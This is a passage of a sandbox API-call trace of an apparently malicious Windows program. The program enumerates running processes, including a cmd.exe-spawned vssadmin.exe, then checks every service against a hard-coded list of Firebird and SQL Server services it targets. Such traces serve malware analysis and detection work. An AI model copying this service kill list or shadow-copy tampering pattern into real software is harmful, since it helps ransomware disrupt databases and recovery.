cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0115.563] lstrlenW (lpString="predictions_took.exe") returned 20 [0115.563] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0115.563] lstrlenW (lpString="carry_dns.exe") returned 13 [0115.564] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0115.564] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0115.564] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.565] lstrlenW (lpString="svchost.exe") returned 11 [0115.565] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.565] lstrlenW (lpString="sppsvc.exe") returned 10 [0115.565] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.566] lstrlenW (lpString="svchost.exe") returned 11 [0115.566] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0115.567] lstrlenW (lpString="msiexec.exe") returned 11 [0115.567] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.567] lstrlenW (lpString="cmd.exe") returned 7 [0115.567] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.568] lstrlenW (lpString="conhost.exe") returned 11 [0115.568] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0115.569] lstrlenW (lpString="vssadmin.exe") returned 12 [0115.569] Process32NextW (in: hSnapshot=0x198, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0115.569] CloseHandle (hObject=0x198) returned 1 [0115.569] Sleep (dwMilliseconds=0x1f4) [0116.160] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c2c8 [0116.160] EnumServicesStatusExW (in: hSCManager=0x52c2c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0116.161] GetLastError () returned 0xea [0116.161] EnumServicesStatusExW (in: hSCManager=0x52c2c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f6b48, cbBufSize=0x13a2, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f6b48, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0116.161] CloseServiceHandle (hSCObject=0x52c2c8) returned 1 [0116.161] lstrlenW (lpString="Appinfo") returned 7 [0116.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0116.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0116.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0116.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0116.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0116.161] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0116.162] lstrlenW (lpString="AudioSrv") returned 8 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0116.162] lstrlenW (lpString="BFE") returned 3 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0116.162] lstrlenW (lpString="CryptSvc") returned 8 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0116.162] lstrlenW (lpString="CscService") returned 10 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0116.162] lstrlenW (lpString="DcomLaunch") returned 10 [0116.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0116.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0116.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0116.162] lstrlenW (lpString="Dhcp") returned 4 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0116.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0116.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0116.163] lstrlenW (lpString="Dnscache") returned 8 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0116.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0116.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0116.163] lstrlenW (lpString="DPS") returned 3 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0116.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0116.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0116.163] lstrlenW (lpString="eventlog") returned 8 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0116.163] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0116.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0116.163] lstrlenW (lpString="EventSystem") returned 11 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0116.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0116.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0116.163] lstrlenW (lpString="FontCache") returned 9 [0116.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0116.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0116.163] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0116.164] lstrlenW (lpString="gpsvc") returned 5 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0116.164] lstrlenW (lpString="iphlpsvc") returned 8 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0116.164] lstrlenW (lpString="LanmanServer") returned 12 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0116.164] lstrlenW (lpString="LanmanWorkstation") returned 17 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0116.164] lstrlenW (lpString="lmhosts") returned 7 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0116.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0116.164] lstrlenW (lpString="MMCSS") returned 5 [0116.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0116.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0116.164] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0116.164] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0116.165] lstrlenW (lpString="MpsSvc") returned 6 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0116.165] lstrlenW (lpString="Netman") returned 6 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0116.165] lstrlenW (lpString="netprofm") returned 8 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0116.165] lstrlenW (lpString="NlaSvc") returned 6 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0116.165] lstrlenW (lpString="nsi") returned 3 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0116.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0116.165] lstrlenW (lpString="PcaSvc") returned 6 [0116.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0116.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0116.165] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0116.165] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0116.166] lstrlenW (lpString="PlugPlay") returned 8 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0116.166] lstrlenW (lpString="Power") returned 5 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0116.166] lstrlenW (lpString="ProfSvc") returned 7 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0116.166] lstrlenW (lpString="RpcEptMapper") returned 12 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0116.166] lstrlenW (lpString="RpcSs") returned 5 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0116.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0116.166] lstrlenW (lpString="SamSs") returned 5 [0116.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0116.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0116.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0116.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0116.167] lstrlenW (lpString="Schedule") returned 8 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0116.167] lstrlenW (lpString="SENS") returned 4 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0116.167] lstrlenW (lpString="ShellHWDetection") returned 16 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0116.167] lstrlenW (lpString="Spooler") returned 7 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0116.167] lstrlenW (lpString="sppsvc") returned 6 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0116.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0116.167] lstrlenW (lpString="SysMain") returned 7 [0116.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0116.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0116.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0116.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0116.168] lstrlenW (lpString="Themes") returned 6 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0116.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0116.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0116.168] lstrlenW (lpString="TrkWks") returned 6 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0116.168] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0116.168] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0116.168] lstrlenW (lpString="UxSms") returned 5 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0116.168] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0116.168] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0116.168] lstrlenW (lpString="W32Time") returned 7 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0116.168] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0116.168] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0116.168] lstrlenW (lpString="WdiServiceHost") returned 14 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0116.168] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0116.168] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0116.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0116.168] lstrlenW (lpString="WdiSystemHost") returned 13 [0116.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0116.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0116.169] lstrlenW (lpString="WinDefend") returned 9 [0116.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0116.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0116.169] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0116.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0116.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0116.169] lstrlenW (lpString="Winmgmt") returned 7 [0116.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0116.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0116.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0116.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0116.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0116.169] 